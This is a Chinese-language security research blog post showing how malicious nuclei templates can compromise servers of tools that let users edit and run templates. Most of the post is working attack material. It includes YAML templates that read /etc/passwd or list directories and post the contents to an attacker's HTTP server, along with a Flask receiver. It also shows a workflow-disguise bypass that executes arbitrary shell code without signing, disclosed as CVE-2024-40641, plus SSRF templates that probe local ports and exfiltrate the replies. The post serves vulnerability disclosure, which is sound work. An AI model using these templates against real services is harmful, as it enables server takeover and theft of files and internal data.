最近看同事在集成nuclei ,也看了一些集成nuclei的扫描工具,在思考一个问题:对于集成nuclei的安全工具(比如nuclei官方提供的云扫描功能),假如其允许用户编辑PoC模板,也可以指定扫描目标执行模板并查看扫描结果,那么写一个恶意的nuclei模板,是否就可以拿下这个工具的服务器?
本来以为直接用nuclei提供的code协议 随随便便就可以执行任意命令了,结果发现nuclei还是做了些防护的。
写了几个恶意的模板:(以下在Linux
和nuclei v3.2.9
版本下测试)
读文件 读取文件,并用http把文件内容发送出来。 (threads指定为1,让文件按行顺序发送,避免服务端接收到乱序的内容)。
read-file.yaml
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 id: read-file info: name: Read File author: ovi3 severity: info http: - raw: - | POST /re HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded §file_line§ payloads: file_line: /etc/passwd threads: 1 matchers-condition: and matchers: - type: status status: - 500
用python flask框架写个简单的web服务接收文件内容:
from flask import Flask, requestimport logging app = Flask(__name__)@app.route('/re' , methods=['POST' ] ) def post_route (): print (request.get_data(as_text=True )) return 'ok.' , 200 if __name__ == '__main__' : app.run(host='0.0.0.0' , port=80 , debug=False )
执行模板:
nuclei -disable-update-check -t ./read-file.yaml -u http://ip
可惜nuclei做了防护,默认只能读template所在的目录下的文件,要读其他文件需要加上这个选项:
-lfa, -allow-local -file -access allows file (payload) access anywhere on the system
执行:
nuclei -disable-update-check -t ./read-file.yaml -u http://ip -lfa
就能读到文件了,读取了/etc/passwd
文件,再发送文件内容给http://ip
。
列目录 列目录,并用http把文件列表发送出来。
list-dir.yaml
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 id: list-dir info: name: List Dir author: ovi3 severity: info flow: | javascript(); set('items', template["javascript_response"]) http(); javascript: - code: | let m = require('nuclei/fs'); let items = m.ListDir('/etc/'); to_json(items) http: - raw: - | POST /re HTTP/1.1 Host: {{Hostname}} {{items }} matchers-condition: and matchers: - type: status status: - 500
执行:
nuclei -disable-update-check -t ./list-dir.yaml -u http://ip -lfa
同样需要加上-lfa
选项。
执行任意代码 执行任意代码:code.yaml
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 id: code info: name: example code template author: ovi3 code: - engine: - sh - bash source: | id http: - raw: - | POST /re HTTP/1.1 Host: {{Hostname}} {{code_response }}
执行:
nuclei -disable-update-check -t code.yaml -u http://ip
报错:Excluded 1 code template[s] (disabled as default), use -code option to run code templates.
。 加上-code
后再执行报错:Found 1 unsigned or tampered code template (carefully examine before using it & use -sign flag to sign them)
。 也就是要执行code模板,需要加上-code
选项并且模板文件已签名。
这儿有个方式可以绕过, 不过要用-w
执行工作流模板文件而不是-t
。
code.yaml
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 id: code info: name: example code template author: ovi3 code: - engine: - sh - bash source: | id http: - raw: - | POST /re HTTP/1.1 Host: {{Hostname}} {{code_response }}workflows: - matchers: - name: t
执行:
nuclei -disable-update-check -w code.yaml -u http://127.0.0.1
在code.yaml
里加个workflows
字段,假装是个工作流模板。执行时不需要-code
和签名。该绕过已提交给nuclei官方: https://github.com/projectdiscovery/nuclei/security/advisories/GHSA-c3q9-c27p-cw9h (CVE-2024-40641, 在nuclei v3.3.0修复)
Blind SSRF 写法一,tcp.yaml
:
id: tcp info: name: TCP author: ovi3 severity: info tcp: - inputs: - data: "ABC\r\n" host: - "{{Hostname}} " port: 80
写法二:tcp2.yaml
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 id: tcp2 info: name: TCP2 author: ovi3 severity: info javascript: - code: | const net = require("nuclei/net"); const conn = net.Open('tcp', Host + ":80"); conn.SetTimeout(3); conn.Send("ABC\r\n"); conn.Close() args: Host: "{{Host}} "
执行:
nuclei -disable-update-check -t tcp.yaml -u 127.0.0.1
向127.0.0.1的80端口发送数据。nuclei默认是允许给内网地址发送数据的,如果想限制下,就加上这个选项:
-lna, -restrict-local -network-access blocks connections to the local / private network
尝试用DNS ReBinding绕过-lna
选项,不行。看了代码,是对目标域名DNS解析后,再过滤,再直接用解析的IP结果去建立连接。
SSRF SSRF, 再通过HTTP发送回显:
tcp3.yaml
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 id: tcp3 info: name: TCP3 author: ovi3 severity: info javascript: - code: | for(let p of ["22", "80", "6379"]){ const net = require('nuclei/net'); const conn = net.Open('tcp', '127.0.0.1:' + p); conn.SetTimeout(5); conn.Send("ABC\r\n"); const data = conn.RecvFullHex(8192); conn.Close(); const conn2 = net.Open('tcp', Host + ":80" ); conn2.SetTimeout(5); conn2.Send("POST /re HTTP/1.1\r\nContent-Length:" + (data.length + p.length + 2 ) + "\r\n\r\n" + p + ":\n" + data); conn2.Close() } args: Host: "{{Host}} "
执行:
nuclei -disable-update-check -t ./tcp3.yaml -u http://ip
扫描本地127.0.0.1的几个端口,若接收到TCP响应,则将响应数据发送到http://ip
。
使用file协议模板读取文件 上面提到nuclei默认不允许读取本地任意文件。但如果使用file协议就可以读取任意文件了,这需要满足:
用户可编辑、添加模板文件
用户可执行模板并获取到扫描结果(extractor提取出来的结果)
程序未验证用户输入的目标是否是文件路径还是URL/Host。
file.yaml
:
id : fileinfo : name : file author : ovi3 severity : mediumfile : - extensions : - all extractors : - type : regex regex : - "(?s)^.*?$"
执行:
nuclei -disable-update-check -t file.yaml -u /etc/passwd
nuclei返回了/etc/passwd
文件内容。
nuclei官方回复说这种方式读文件是允许的,正常设计(it's expected behavior for file protocol
),不是安全问题。